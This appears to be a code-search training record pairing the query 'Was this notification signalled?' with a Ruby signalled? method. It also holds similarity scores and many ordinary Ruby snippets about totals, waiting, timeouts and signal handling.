"def total_summary\n\n products = {}\n products.store(:item_cost, item_cost)\n products.store(:extras_cost, extras_cost)\n\n supplements = {}\n supplements.store(:pick_up_place, pickup_place_cost)\n supplements.store(:return_place, return_place_cost)\n supplements.store(:time_from_cost, time_from_cost)\n supplements.store(:time_to_cost, time_to_cost)\n supplements.store(:driver_age_cost, driver_age_cost)\n supplements.store(:category_supplement_1, category_supplement_1_cost)\n supplements.store(:category_supplement_2, category_supplement_2_cost)\n supplements.store(:category_supplement_3, category_supplement_3_cost)\n supplements.store(:supplement_1, supplement_1_cost)\n supplements.store(:supplement_2, supplement_2_cost)\n supplements.store(:supplement_3, supplement_3_cost)\n\n deposit = {}\n deposit.store(:product_deposit_cost, product_deposit_cost)\n\n totals = {}\n totals.store(:total_cost, total_cost)\n totals.store(:total_paid, total_paid)\n totals.store(:total_pending, total_pending)\n\n summary = {products: products,\n supplements: supplements,\n deposit: deposit,\n totals: totals }\n\n end",
"def total\n if @products.length == 0\n return 0\n else\n total = @products.values.reduce(:+)\n total*= 1.075 #Tax\n total = total.round(2)\n return total\n end\n end",
"def sub_total\n sum = 0\n line_items.each do |line_item|\n sum += line_item.total_price\n end\n sum\n end",
"def after_taxes\n printed_list = \"\"\n @total = 0\n @list.each do |item, quantity|\n item_total = quantity * item.price\n @total += item_total\n printed_list += \"#{quantity} #{item.name}: #{MONEY_FORMAT % item.price}\\n\"\n end\n return printed_list\n end",
"def total\n @total ||= raw_plain['hits']['total']\n end",
"def total\n\t\tif @products == {}\n\t\t\treturn 0\n\t\telse\n\t\t\treturn (@products.sum {|product, cost| cost} * 1.075).round(2)\n\t\tend\n\tend",
"def total\n if @products.empty?\n return 0\n else\n total = (@products.values.sum * 1.075).round(2)\n end\n return total\n end"
] |
[
"0.7597549",
"0.7391472",
"0.72371536",
"0.7207085",
"0.7199618",
"0.7165569",
"0.71423566",
"0.7120588",
"0.7080723",
"0.7003194",
"0.69690657",
"0.6957471",
"0.69386023",
"0.6894006",
"0.687692",
"0.6857914",
"0.6855805",
"0.6831855",
"0.6802355",
"0.68019265",
"0.68005437",
"0.6791964",
"0.6789801",
"0.67683816",
"0.6757552",
"0.67557704",
"0.673793",
"0.6737681",
"0.67360085",
"0.6729459",
"0.67170376",
"0.6716128",
"0.66780555",
"0.6672286",
"0.66501284",
"0.66445476",
"0.6642705",
"0.66407526",
"0.6614491",
"0.66144717",
"0.6613337",
"0.6604597",
"0.65915656",
"0.65902936",
"0.65892315",
"0.65734714",
"0.6557869",
"0.6556245",
"0.65536666",
"0.6553412",
"0.65524524",
"0.65455633",
"0.6540676",
"0.65293413",
"0.6525088",
"0.65248626",
"0.6518115",
"0.650875",
"0.6500919",
"0.65006214",
"0.6490322",
"0.6487391",
"0.6472669",
"0.64715385",
"0.64715385",
"0.64660144",
"0.6464215",
"0.64621407",
"0.64621407",
"0.64595836",
"0.64458483",
"0.6441833",
"0.6435329",
"0.64348334",
"0.6431863",
"0.64309144",
"0.64282817",
"0.6427479",
"0.6427407",
"0.64221305",
"0.6421812",
"0.6419718",
"0.6416655",
"0.6410239",
"0.64048237",
"0.6403549",
"0.6403468",
"0.63976324",
"0.6393377",
"0.63916725",
"0.6379597",
"0.6372664",
"0.6370652",
"0.63690966",
"0.63630944",
"0.6360357",
"0.63544416",
"0.63511735",
"0.6348927",
"0.6347096",
"0.63456714"
] |
0.0
|
-1
|
Was this notification signalled?
|
def signalled?
@signalled
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def signalled event\n @signalled_actions and @signalled_actions[event]\n end",
"def notification?\n false\n end",
"def notify?\n true\n end",
"def notify?\n false\n end",
"def notify?\n @notify == true\n end",
"def stalled?\n @stalled_fibers.any?\n end",
"def notify?\n true\n end",
"def should_notify?\n return false if notified\n expiration = default_expiration\n return false unless expiration\n expiration.in_notification_interval?\n end",
"def notified? \n \titem = Item.find(item_id)\n \tif(item.expired? == true && notifiy == false)\n \t\treturn false\n \telse\n \t\treturn true\n \tend\n end",
"def notify_on_errs\n !(self[:notify_on_errs] == false)\n end",
"def receivable?\n at?(:active, :forget_initiated)\n end",
"def occurred?\n @current_state == Psc::ScheduledActivity::OCCURRED\n end",
"def should_notify?\n expiration = default_expiration\n return false unless expiration\n return false if notified == expiration.time.to_i\n expiration.in_notification_interval?\n end",
"def emails_sent_as_in_profile_for_shutdown?\n notifications_delivered == notifications_for_shutdown\n end",
"def notification?\n kind == 'notification'\n end",
"def is_pending_recovery?\n self.activated? and self.verification_key ? true : false\n end",
"def signaled?(*) end",
"def signal?\n @signal\n end",
"def allow_notification?\n true\n end",
"def event_received(sequence)\n false # return true if we handled the event here\n end",
"def acked?; all_status?(:ack); end",
"def set_new_state_after_notify(was_successful, event, status)\n unless status.attending?\n if was_successful\n if event.event?\n status.not_responded!\n else\n status.delivered!\n end\n else\n status.not_delivered!\n end\n status.save\n end\n end",
"def in_alert?\n return true if status == 'alert_new' || status == 'alert_still'\n false\n end",
"def ready_status\n 'ready' if notification\n end",
"def alerted?\n !alert_sent.nil?\n end",
"def seen\n if @ok\n @ok = @notification.has_been_seen\n end\n @new_notifications = current_user.number_notifications_not_seen\n end",
"def has_notifications?\n !notification_queue.empty?\n end",
"def notify_incomplete\n Notification.notify_incomplete\n end",
"def has_pending_events?\n\t\treturn self.pending_event_count.nonzero? ? true : false\n\tend",
"def received?\r\n self['trans_status']=='99'\r\n end",
"def pending?\n\t\t\treturn account_life_cycle_status == PENDING \n\t\tend",
"def stalled?\n # only makes sense for jobs that are in an actively processing state\n return false unless pending? || in_progress?\n\n (Time.zone.now - updated_at) > IDLE_THRESHOLD\n end",
"def evented\n @evented = true\n end",
"def awaiting_email_verification?\n return false if email_verified?\n\n pending_notices({ type: 'email', dispatched: true }).any?\n end",
"def pending?\n @activated\n end",
"def shutdown_signal_pending?\n @shutdown_signal && !@shutdown_signal_sent_at\n end",
"def is_pending_activation?\n ! self.activated? and self.verification_key ? true : false\n end",
"def notify\n @attributes.fetch('notify', false)\n end",
"def mark_as_read\n if Notification.mark_as_read\n return_message(200, :ok)\n else\n return_message(200, :fail)\n end\n end",
"def wifsignaled? \n DRMAA.wifsignaled(@stat) \n end",
"def recording_events?\n false\n end",
"def pending?\r\n @activated\r\n end",
"def next_alert_time\n false\n end",
"def push_to_epic_complete?\n %w(complete failed).include? last_epic_push_status\n end",
"def pending\n !as_stripe_subscription.pending_update.nil?\n end",
"def isPending?\n self.pending\n end",
"def notify_success?\n result_status == \"QUERY_SUCCESS\"\n end",
"def notify_success?\n result_status == \"QUERY_SUCCESS\"\n end",
"def pending?\n @activated\n end",
"def on_completed?\n @kind == :on_completed\n end",
"def missed?\n @current_state == Psc::ScheduledActivity::MISSED\n end",
"def is_complete?\n self.audit_state == AUDIT_COMPLETE\n end",
"def pending?\n @activated\n end",
"def should_notify?\n self.created_at == self.updated_at\n end",
"def held?\n status.queued_held?\n end",
"def received?\n received_event_parameters\n end",
"def pending?\n self.subscription == :pending\n end",
"def pending?\n @activated\n end",
"def pending?\n @activated\n end",
"def pending?\n @activated\n end",
"def pending?\n @activated\n end",
"def pending?\n @activated\n end",
"def pending?\n @activated\n end",
"def pending?\n @activated\n end",
"def pending?\n !self.canceled?\n end",
"def complete?\n status == \"verified\"\n end",
"def is_there_notification\n current_user.notifications\n end",
"def notify?\n update?\n end",
"def has_queued_events?\n !@propagation.empty?\n end",
"def settled?\n return !self.pending?\n end",
"def confirmed?\n self.status >= 0\n end",
"def signals_want_shutdown?\n !@signals.empty?\n end",
"def op_is_done\n return if @op_notifier.nil?\n @op_notifier.notify(self)\n end",
"def in_transit?\n status.sent?\n end",
"def received?\n !!self.received_at?\n end",
"def receive_po\n is_received?\n end",
"def recurring\n !on_trial && !cancelled\n end",
"def signals_want_shutdown\n !@signals.empty?\n end",
"def have_been_sent # rubocop:disable Naming/PredicateName\n EmailSpectacular::RSpecMatcher.new(enqueued: false)\n end",
"def send_confirmation_notification?\n false\n end",
"def ready?\n running? && @event_received\n end",
"def can_notify? user\n return false if self.id == user.id\n not notification_exists? user\n end",
"def generate_immediate_notification? \n\t submitted && ((not defined? @submitted_value_on_load) || (not @submitted_value_on_load) )\n end",
"def signal\n @condition.signal\n true\n end",
"def signal\n @condition.signal\n true\n end",
"def check_notification\n referral = self\n admin = referral.job.admin\n\n if referral.is_interested == true && referral.is_admin_notified == false\n # binding.pry\n if referral.update_attribute(:is_admin_notified, true)\n ReferralMailer.deliver_admin_notification(referral, admin)\n referral.save\n else\n render 'edit', error: \"We had an issue with your referral request. Please try again.\"\n end\n end\n end",
"def is_not_pending_recovery!\n self.update_attribute(:verification_key, nil) if self.is_pending_recovery?\n end",
"def pending?\n return self.settled_at.nil?\n end",
"def already_thanked?(topic)\n notification = Notification.thanked_by(self.id, topic.id)\n !notification.empty?\n end",
"def confirming?\n self.status == 'confirming'\n end",
"def has_awaiting_picked_meeting?\n !completed? && self.notifications.last.is_a?(::Users::Notifications::TradePickedMeeting)\n end",
"def is_reminder_on\n return @is_reminder_on\n end",
"def pending?\n self.pending\n end",
"def notification?\n @json['id'].nil?\n end",
"def send_email_changed_notification?; end",
"def delivered?\n @delivered\n end",
"def guard_reopen?\n !self.expired?\n end",
"def atest_ID_25861_suspended_user_notification()\n # Need suspended account\n end",
"def atest_ID_25861_suspended_user_notification()\n # Need suspended account\n end",
"def success?\n not failure_occurred\n end"
] |
[
"0.7490718",
"0.69758767",
"0.6685281",
"0.6678424",
"0.66641176",
"0.655563",
"0.65138483",
"0.6501493",
"0.64942354",
"0.6467567",
"0.6364986",
"0.63618726",
"0.63499457",
"0.6311807",
"0.6297406",
"0.6202629",
"0.6202183",
"0.61276287",
"0.6102364",
"0.6080565",
"0.60700494",
"0.6049312",
"0.6020959",
"0.60110295",
"0.6004132",
"0.5985344",
"0.5982022",
"0.5971875",
"0.5944877",
"0.5921611",
"0.59079915",
"0.5907424",
"0.58854675",
"0.5881202",
"0.58727294",
"0.5860664",
"0.58549416",
"0.58535236",
"0.5851624",
"0.5843072",
"0.5839549",
"0.58280903",
"0.5813929",
"0.5809534",
"0.5794571",
"0.5790352",
"0.5785853",
"0.5785853",
"0.57812995",
"0.5755152",
"0.5750482",
"0.5745602",
"0.57425046",
"0.5735268",
"0.5734942",
"0.57343274",
"0.57313174",
"0.57248545",
"0.57248545",
"0.57248545",
"0.57248545",
"0.57248545",
"0.57248545",
"0.57248545",
"0.57047063",
"0.5697869",
"0.5696627",
"0.5690394",
"0.56887436",
"0.5684973",
"0.5679644",
"0.56790936",
"0.5677208",
"0.56763405",
"0.5658745",
"0.5650924",
"0.5649053",
"0.5648418",
"0.56482035",
"0.56403804",
"0.56325316",
"0.5628013",
"0.5624835",
"0.562265",
"0.562265",
"0.561999",
"0.56024134",
"0.56022775",
"0.55981207",
"0.5591082",
"0.5584086",
"0.5580249",
"0.55796534",
"0.55760443",
"0.55755985",
"0.55751675",
"0.5575017",
"0.55730736",
"0.55730736",
"0.55685496"
] |
0.81212234
|
0
|
Wait/block until a signal is received. Optional timeout.
|
def wait(timeout: nil)
if timeout
read_ready, _, _ = IO.select([@output], [], [], timeout)
return false unless read_ready and read_ready.any?
end
@signalled or @output.read(1)
# Just in case that this was split across multiple processes.
@signalled = true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def wait(timeout = nil)\n event.wait(timeout) if timeout != 0 && incomplete?\n self\n end",
"def wait_for(timeout = 30, &block)\n start = Time.now\n while true\n raise RuntimeError, \"Timed out waiting for event\" if Time.now - start > timeout\n\n break if yield\n\n sleep(0.1)\n end\n end",
"def wait_for_termination(timeout = nil)\n stopped_event.wait(timeout)\n end",
"def wait_for_termination(timeout = nil)\n stopped_event.wait(timeout)\n end",
"def wait(timeout = nil)\n\t\t\tbegin\n\t\t\t\t@queue.wait(timeout)\n\t\t\trescue DRb::DRbConnError\n\t\t\tend\n\t\tend",
"def wait_for_signal\n signal_read, signal_write = IO.pipe\n\n %w[INT TERM].each do |signal|\n Signal.trap(signal) do\n signal_write.puts signal\n end\n end\n\n # Adapted from Sidekiq:\n # https://github.com/mperham/sidekiq/blob/e634177/lib/sidekiq/cli.rb#L94-L97\n while io = IO.select([signal_read])\n readables = io.first\n signal = readables.first.gets.strip\n\n Fluffle.logger.info \"Received #{signal}; shutting down...\"\n\n # First stop the consumers from receiving messages\n @consumers.each &:cancel\n\n # Then wait for worker pools to finish processing their active jobs\n @handler_pool.shutdown\n unless @handler_pool.wait_for_termination(@shutdown_timeout)\n # `wait_for_termination` returns false if it didn't shut down in time,\n # so we need to kill it\n @handler_pool.kill\n end\n\n # Finally close the connection\n @channel.close\n\n return\n end\n end",
"def wait_for(signal)\n signal_init(signal, :wait)\n start_sleep = Time.now.to_f\n waiters[signal][:threads].push(Thread.current)\n val = defer{ waiters[signal][:queue].pop }\n waiters[signal][:threads].delete(Thread.current)\n val == EMPTY_VALUE ? (Time.now.to_f - start_sleep) : val\n end",
"def wait(timeout = nil)\n @latch.wait(timeout)\n end",
"def wait(timeout=60)\n countdown = timeout.to_f\n\n while countdown > 0\n if @zmq_thread and @zmq_thread.alive?\n sleep 0.1\n countdown = countdown - 0.1\n else\n break\n end\n end\n\n super()\n end",
"def wait_until(timeout=10, &block)\n time = Time.now\n success = false\n until success\n if (Time.now - time) >= timeout\n raise \"Waited for #{timeout} seconds, but block never returned true\"\n end\n sleep 0.5\n success = yield\n end\n end",
"def wait(timeout = nil)\n result = true\n c = nil\n @mutex.synchronize do\n @count -= 1\n if @count < 0\n @sleeping.push Thread.current\n @mutex.sleep(timeout)\n end\n end\n if timeout\n # If we had a timeout we may have woken due to it expiring rather than\n # due to signal being called. In that case we need to remove ourself from the sleepers.\n @mutex.synchronize do\n i = @sleeping.index(Thread.current)\n if i\n @count += 1\n @sleeping.delete_at(i)\n result = false\n end\n end\n end\n result\n end",
"def wait(timeout = nil)\n raise_unless_locked!\n return false if timeout && timeout < 0\n @cv.wait(@lock, timeout)\n end",
"def wait(timeout = nil)\n @mu.synchronize do\n next @pstate unless @pstate.nil?\n\n @cond.wait(@mu, timeout)\n @pstate\n end\n end",
"def wait(timeout, &block)\n end_time = @end_time || (current_time + timeout)\n loop do\n yield(block)\n @remaining_time = end_time - current_time\n break if @remaining_time.negative?\n end\n end",
"def signal_wait_until(pr, &block)\n #NOTE: busy waiting!!!\n while true do\n torrent = yield\n break if pr.call torrent\n end\n end",
"def wait\n continue = false\n trap \"SIGINT\" do\n puts \"Continuing...\"\n continue = true\n end\n puts \"Waiting. Press ^C to continue test...\"\n wait_until(3600) { continue }\n trap \"SIGINT\", \"DEFAULT\"\n end",
"def wait_until_blocked(timeout=nil)\n @mutex.synchronize do\n return true unless @blocked == NOT_YET\n\n start = Time.now\n time_to_stop = timeout ? (start + timeout) : nil\n\n logger.debug { \"#{__method__} @blocked: #{@blocked.inspect} about to wait\" } \n @cond.wait(timeout)\n\n if (time_to_stop and (Time.now > time_to_stop)) and (@blocked == NOT_YET)\n return nil\n end\n\n (@blocked == NOT_YET) ? nil : true\n end\n end",
"def wait_until_blocked(timeout=nil)\n @mutex.synchronize do\n return true unless @blocked == NOT_YET\n\n start = Time.now\n time_to_stop = timeout ? (start + timeout) : nil\n\n logger.debug { \"#{__method__} @blocked: #{@blocked.inspect} about to wait\" }\n @cond.wait(timeout)\n\n if (time_to_stop and (Time.now > time_to_stop)) and (@blocked == NOT_YET)\n return nil\n end\n\n (@blocked == NOT_YET) ? nil : true\n end\n end",
"def trap\n\t\t\t\ttask = Task.current\n\t\t\t\ttask.annotate(\"waiting for signal #{@name}\")\n\t\t\t\t\n\t\t\t\tnotification = Notification.new\n\t\t\t\t@notifications << notification\n\t\t\t\t\n\t\t\t\twhile true\n\t\t\t\t\tnotification.wait\n\t\t\t\t\tyield\n\t\t\t\tend\n\t\t\tensure\n\t\t\t\tif notification\n\t\t\t\t\tnotification.close\n\t\t\t\t\t@notifications.delete(notification)\n\t\t\t\tend\n\t\t\tend",
"def wait(timeout = nil)\n synchronize do\n touch\n # TODO interruptions ?\n super timeout if incomplete?\n self\n end\n end",
"def wait_for(seq,timeout=1)\n begin\n ::Timeout.timeout(timeout) do\n wait(seq)\n end\n rescue ::Timeout::Error\n end\n end",
"def wait(timeout: nil)\n if connected?\n client.wait(timeout: timeout)\n else\n wait_connection_attempt_result(timeout: timeout)\n end\n end",
"def wait_for_condition(timeout)\n deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout\n loop do\n break if yield ||\n Process.clock_gettime(Process::CLOCK_MONOTONIC) > deadline\n\n sleep 1\n end\n end",
"def wait(timeout=nil)\n return false if closed?\n return self if IO.select([self], nil, nil, timeout)\n end",
"def sleep(timeout)\n @sleeper.sleep(timeout)\n loop do\n next_waitable = @condition_variable.next_waitable_to_wake\n break if next_waitable == self\n next_waitable.wait_until_resumed\n end\n end",
"def wait timeout = nil\n @mutex.synchronize {\n if @cnt != 0\n if timeout\n @cond_var.wait @mutex, timeout\n else\n @cond_var.wait @mutex\n end\n end\n }\n end",
"def wait_for_shutdown?(timeout = nil)\n @shutdown.wait(timeout)\n end",
"def read_wait(timeout: nil)\n !!IO.select([io], [], [], timeout)\n end",
"def signal(signal, obj=EMPTY_VALUE)\n if(signal_init(signal, :signal))\n waiters[signal][:queue].push obj\n true\n else\n false\n end\n end",
"def wait_for_condition(timeout, step = 0.1, &block)\n defer{ wait_for_condition_sync(timeout, step, &block) }\n end",
"def wait(timeout = nil)\n @threads.wait_for_termination(timeout)\n Disquo.logger.info \"Worker shutdown complete\"\n end",
"def wait(job, timeout = -1)\n DRMAA.wait(job, timeout)\n end",
"def wait_until(timeout=20, &block)\n time_to_stop = Time.now + timeout\n until yield do\n sleep(0.1) # much less cpu stress\n break if Time.now > time_to_stop\n end\nend",
"def wait(job, timeout = -1)\n DRMAA.wait(job, timeout)\n end",
"def wait(timeout = nil)\n return true if set?\n\n @mutex.synchronize { @waiters << Thread.current }\n return true if set? # if event was set while waiting for mutex\n\n if timeout.nil?\n slept = sleep\n else\n slept = sleep(timeout)\n end\n rescue\n # let it fail\n ensure\n @mutex.synchronize { @waiters.delete(Thread.current) }\n return set?\n end",
"def wait_for_hangup(opts = {})\n receive_bye(opts)\n ack_bye(opts)\n end",
"def wait(timeout = nil)\n @monitor.instance_eval {mon_check_owner()}\n timer = create_timer(timeout)\n \n Thread.critical = true\n count = @monitor.instance_eval {mon_exit_for_cond()}\n @waiters.push(Thread.current)\n\n begin\n\tThread.stop\n return true\n rescue Timeout\n return false\n ensure\n\tThread.critical = true\n\tbegin\n\t if timer && timer.alive?\n\t Thread.kill(timer)\n\t end\n\t if @waiters.include?(Thread.current) # interrupted?\n\t @waiters.delete(Thread.current)\n\t end\n\t @monitor.instance_eval {mon_enter_for_cond(count)}\n\tensure\n\t Thread.critical = false\n\tend\n end\n end",
"def signaled?(*) end",
"def wait(interval)\n wq = Queue.new\n onTimeout(interval) do\n wq.push nil\n end\n wq.pop\n end",
"def signal\n MultiProcessing.try_handle_interrupt(RuntimeError => :never) do\n begin\n @waiting_pout.read_nonblock 1\n @signal_pin.syswrite 1\n return true\n rescue Errno::EAGAIN\n return false\n end\n end\n end",
"def signal\n @condition.signal\n true\n end",
"def signal\n @condition.signal\n true\n end",
"def wait(what = T.unsafe(nil)); end",
"def wait_for_termination(timeout)\n @executor.awaitTermination(1000 * timeout, java.util.concurrent.TimeUnit::MILLISECONDS)\n end",
"def wait_readable(timeout = nil)\n if timeout\n move_on_after(timeout) do\n Polyphony.backend_wait_io(self, false)\n self\n end\n else\n Polyphony.backend_wait_io(self, false)\n self\n end\n end",
"def signal_received; end",
"def waitQuit()\n @device.waitQuit() ;\n end",
"def wait_until_exit!\n trap_signals!\n\n until @outbound_pool.wait_for_termination(60)\n debug_log Ambo.random_beep_boops\n end\n end",
"def wait_any(timeout = -1)\n DRMAA.wait(ANY_JOB, timeout)\n end",
"def on_timeout(options = {})\n timeout = options[:timeout] || 0.5\n\n sleep timeout\n\n yield\n end",
"def sleep_until(timeout = QUE_SLEEP_UNTIL_TIMEOUT)\n deadline = Time.now + timeout\n loop do\n break if yield\n if Time.now > deadline\n puts \"sleep_until timeout reached!\"\n raise \"sleep_until timeout reached!\"\n end\n sleep 0.01\n end\nend",
"def wait_for_answer(opts = {})\n receive_trying({optional: true}.merge opts)\n receive_ringing({optional: true}.merge opts)\n receive_progress({optional: true}.merge opts)\n receive_answer opts\n end",
"def wait_for_digit(timeout=-1)\n response = AGIResponse.new\n command_str = \"WAIT FOR DIGIT #{timeout}\"\n begin\n response.native = execute(command_str)\n rescue AGITimeoutError, AGICommandError, AGIHangupError\n raise\n end\n if response.native == -1 then\n raise AGIChannelError.new(@last_response, \"Channel Failure in (#{command_str})\")\n elsif response.native == 0\n response.success = true\n else\n response.success = true\n response.data = response.native.chr\n end\n return response\n end",
"def kgio_tryaccept # :nodoc:\n case buf = @to_io.kgio_tryread(4)\n when String\n # unpack the buffer and trigger the signal handler\n signum = buf.unpack('l')\n fake_sig(signum[0])\n # keep looping, more signals may be queued\n when nil # EOF: master died, but we are at a safe place to exit\n fake_sig(:QUIT)\n when :wait_readable # keep waiting\n return false\n end while true # loop, as multiple signals may be sent\n end",
"def wait_for_device(dev_path, timeout_secs = 5)\n slept_secs = 0\n quantum = 0.5\n\n execute!(\"udevadm trigger\")\n while slept_secs <= timeout_secs\n return nil if File.exists?(dev_path)\n\n sleep(quantum)\n slept_secs += quantum\n end\n\n # If we reach here we didn't find the file in time\n raise RuntimeError, \"Timed out waiting for #{dev_path}\"\n end",
"def wait(task: Task.current, &block)\n\t\t\t\ttask.annotate(\"waiting for signal #{@name}\")\n\t\t\t\t\n\t\t\t\tnotification = Notification.new\n\t\t\t\t@notifications << notification\n\t\t\t\t\n\t\t\t\tif block_given?\n\t\t\t\t\twhile true\n\t\t\t\t\t\tnotification.wait\n\t\t\t\t\t\tyield task\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tnotification.wait\n\t\t\t\tend\n\t\t\tensure\n\t\t\t\tif notification\n\t\t\t\t\tnotification.close\n\t\t\t\t\t@notifications.delete(notification)\n\t\t\t\tend\n\t\t\tend",
"def wait(timeout = nil)\n @monitor.__send__(:mon_check_owner)\n count = @monitor.__send__(:mon_exit_for_cond)\n begin\n @cond.wait(@monitor.instance_variable_get(:@mon_data).mutex_for_cond, timeout)\n return true\n ensure\n @monitor.__send__(:mon_enter_for_cond, count)\n end\n end",
"def soft_timeout(timeout, &block)\n t = Thread.new(&block)\n t.join(timeout) or raise Timeout::Error\n t.value\n end",
"def wait_any(timeout = -1)\n DRMAA.wait(ANY_JOB, timeout)\n end",
"def trap_deferred(signal)\n trap(signal) do |sig_nr|\n if @waiting_for_reaper && [:INT, :TERM].include?(signal)\n log \"Recieved #{signal}: short circuiting QUIT waitpid\"\n raise QuitNowException\n end\n if sig_queue.size < SIG_QUEUE_MAX_SIZE\n sig_queue << signal\n awaken_master\n else\n log \"ignoring SIG#{signal}, queue=#{sig_queue.inspect}\"\n end\n end\n end",
"def wait\n @timer_thread.join\n end",
"def wait_for_data(timeout)\n return if timeout == -1\n\n ready = false\n begin\n ready = IO.select([self], nil, [self], timeout)\n rescue IOError => exception\n logger.warn \"#read Connection failure while waiting for data: #{exception.class}: #{exception.message}\"\n close if close_on_error\n raise Net::TCPClient::ConnectionFailure.new(\"#{exception.class}: #{exception.message}\", address.to_s, exception)\n rescue Exception\n # Close the connection on any other exception since the connection\n # will now be in an inconsistent state\n close if close_on_error\n raise\n end\n\n unless ready\n close if close_on_error\n logger.warn \"#read Timeout after #{timeout} seconds\"\n raise Net::TCPClient::ReadTimeout.new(\"Timedout after #{timeout} seconds trying to read from #{address}\")\n end\n end",
"def wait_until(options = {}, &block)\n eventually(options, &block)\n end",
"def wait_until_true timeout=3, interval=0.1\n time_limit = Time.now + timeout\n loop do\n result = yield\n return if result || Time.now >= time_limit\n sleep interval\n end\n end",
"def wait_stopped pid, timeout=60\n alive=false\n loop do\n alive=is_alive pid\n break unless alive && timeout > 0\n sleep SLEEP_TIME\n timeout -= SLEEP_TIME\n end\n return alive\nend",
"def no_error!(timeout = nil)\n wait(timeout).tap { raise self if rejected? }\n end",
"def wait(timeout = nil)\n begin\n Timeout::timeout timeout do\n @mutex.synchronize do\n @conditional.wait @mutex if @count > 0\n end\n end\n true\n rescue Timeout::Error\n false\n end\n end",
"def wait_for_condition script, timeout\r\n command 'waitForCondition', script, timeout\r\n end",
"def wait_for_condition script, timeout\r\n command 'waitForCondition', script, timeout\r\n end",
"def send_signal( sig, want_reply=false )\n send_request_string \"signal\", sig, want_reply\n self\n end",
"def wait_until_without_failing(timeout=UI_UPDATE_DELAY)\n start = Time.now\n while ((Time.now - start) <= timeout)\n break if yield\n sleep(WaitHelpers::LOOP_DELAY)\n end\nend",
"def sleep(timeout = nil)\n unlock\n begin\n timeout ? Kernel.sleep(timeout) : Kernel.sleep\n ensure\n lock\n end\n end",
"def kill_and_await(sig, pid)\n ::Process.kill(sig, pid)\n Polyphony.backend_waitpid(pid)\n rescue Errno::ESRCH\n # process doesn't exist\n end",
"def signal(name)\n send_command(:signal, name)\n read_reply\n end",
"def wait_for_vol(vs, vol_id, timeout = 120)\n Timeout::timeout(timeout) do\n begin\n vol_status vs, vol_id\n rescue\n @log.debug 'sleeping for 5 seconds'\n sleep 5\n retry\n end\n end\n rescue Timeout::Error\n @log.error \"It took more than #{timeout} seconds for a volume to become available\"\n end",
"def wait_for_network\n\t\t\n\t\t# keep retrying until the\n\t\t# network comes up (if ever)\n\t\tuntil csq = signal_strength\n\t\t\tsleep 1\n\t\tend\n\t\t\n\t\t# return the last\n\t\t# signal strength\n\t\treturn csq\n\tend",
"def wait_connection_attempt_result(timeout: nil)\n connection_future.wait(timeout)\n connection_future.complete?\n end",
"def wait_until(timeout = 30, retry_interval = 0.1, &block)\n start = Time.now\n while (result = !block.call)\n break if (Time.now - start).to_i >= timeout\n sleep(retry_interval)\n end\n !result\nend",
"def wait(timeout = 0)\n Window.wait(@title, @text, timeout)\n end",
"def wait\n return if @timers.empty?\n\n interval = wait_interval\n sleep interval if interval >= Timer::QUANTUM\n fire\n end",
"def wait\n byte = @receiver.read(1)\n raise DeadWakerError, \"can't wait on a dead waker\" unless byte == PAYLOAD\n rescue IOError, RuntimeError\n raise DeadWakerError, \"can't wait on a dead waker\"\n end",
"def signal_queue; end",
"def wait(max=10)\n Timeout.timeout(max) do\n sleep(0.1) until\n @hash.length.zero? &&\n @request_queue.empty? &&\n @req_in_flight.zero?\n end\n true\n rescue Timeout::Error => _\n end",
"def kill(timeout = 0)\n return false if terminated? || @sigkill_timer\n timeout ||= 0\n request_termination\n @sigkill_timer = Timer.new(timeout) {\n ::Process.kill('KILL', @pid) rescue nil\n }\n\n true\n end",
"def signal\n @cmd_result.signal\n end",
"def wait_for_block_dev(path)\n Timeout.timeout(60) do\n until ::File.blockdev?(path)\n Chef::Log.info(\"device #{path} not ready - sleeping 5s\")\n sleep(5)\n rescan_pci\n end\n Chef::Log.info(\"device #{path} is ready\")\n end\nend",
"def wait_for_block_dev(path)\n Timeout.timeout(60) do\n until ::File.blockdev?(path)\n Chef::Log.info(\"device #{path} not ready - sleeping 5s\")\n sleep(5)\n rescan_pci\n end\n Chef::Log.info(\"device #{path} is ready\")\n end\nend",
"def select(timeout = 1)\n ::IO.select([@io], [@io], [], timeout)\n end",
"def wait(name)\n raise \"cannot wait for signals while exclusive\" if Celluloid.exclusive?\n\n @conditions[name] ||= Condition.new\n @conditions[name].wait\n end",
"def signal(signum = nil, callback = nil, &block)\n callback ||= block\n handle = Signal.new(@loop)\n handle.progress callback if callback\n handle.start(signum) if signum\n handle\n end",
"def process_events_until(timeout: 5, **options)\n Roby.warn_deprecated \"do not use #process_events. Use the \"\\\n \"expect_execution infrastructure with \"\\\n \"the 'achieve' expectation instead\"\n\n start = Time.now\n until yield\n now = Time.now\n remaining = timeout - (now - start)\n if remaining < 0\n flunk(\"failed to reach expected condition \"\\\n \"within #{timeout} seconds\")\n end\n process_events(timeout: remaining, **options)\n sleep 0.01\n end\n end",
"def test_ask_sigint\n start_process do\n begin\n Prompt.ask('q')\n rescue Interrupt\n @ret.write(Marshal.dump(:SIGINT))\n end\n end\n\n sleep(0.05)\n Process.kill('INT', @pid)\n\n assert_result(\"? q\\n> \", \"^C\\n\", :SIGINT)\n end",
"def wait_for_pid(timeout=2)\n times_up = timeout ? Time.now + timeout : 0\n\n while Time.now < times_up\n pid, stat = ::Process.wait2(@pid, ::Process::WNOHANG)\n return stat if stat\n sleep(0.01)\n end\n\n nil\n end",
"def wait(seq)\n nseq = nil\n while not nseq\n nseq,data = read_data(seq)\n select\n end\n end",
"def wait_until_with_buffer(args, &block)\n original_timeout = args[:timeout] || ENV['WAIT_TIMEOUT'].to_i\n args_buffered = args.dup\n\n args_buffered[:timeout] = 60\n\n start_time = Time.now\n Frank::Cucumber::WaitHelper.wait_until(args_buffered) { block.call() }\n end_time = Time.now\n\n delta = end_time - start_time\n puts(\"wait_until exceeded timeout #{original_timeout}. Took #{delta}. #{caller[0]}\") if delta > original_timeout\nend",
"def wait_for_block_dev(path)\n Timeout.timeout(600) do\n until ::File.blockdev?(path)\n Chef::Log.info(\"device #{path} not ready - sleeping 5s\")\n sleep(5)\n rescan_pci\n end\n Chef::Log.info(\"device #{path} is ready\")\n end\nend",
"def wait_writable(timeout = nil)\n if timeout\n move_on_after(timeout) do\n Polyphony.backend_wait_io(self, true)\n self\n end\n else\n Polyphony.backend_wait_io(self, true)\n self\n end\n end",
